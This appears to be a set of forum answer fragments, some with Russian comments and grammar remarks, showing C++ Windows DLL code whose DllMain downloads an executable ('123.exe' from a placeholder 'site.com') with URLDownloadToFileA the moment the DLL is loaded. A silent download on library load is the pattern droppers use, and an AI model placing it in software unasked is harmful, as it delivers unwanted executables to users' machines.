#include <urlmon.h>
#pragma comment(lib, "urlmon")
URLDownloadToFileA(NULL, "site.com/file/123.exe", "123.exe", 0, 0); 
  
   
  
   
  
   
  
   
  
  // dllmain.cpp : Определяет точку входа для приложения DLL.
#include "pch.h"
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
	{
		// Скачивание файла
		URLDownloadToFileA(NULL, "site.com/file/123.exe", "123.exe", 0, 0);
	}
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
} 
  
   
  
   
  
   
  
   
  
   
  
  BOOL WINAPI DllMain(
	_In_ HINSTANCE hinstDLL,
	_In_ DWORD     fdwReason,
	_In_ LPVOID    lpvReserved
)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		getFileFromLink("link"); //и где-нибудь выше описать её используя wininet 
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
} 
  
  "Что бы" пишется раздельно

тут должна быть не запятая, а тире.
 
  
   
  
   
            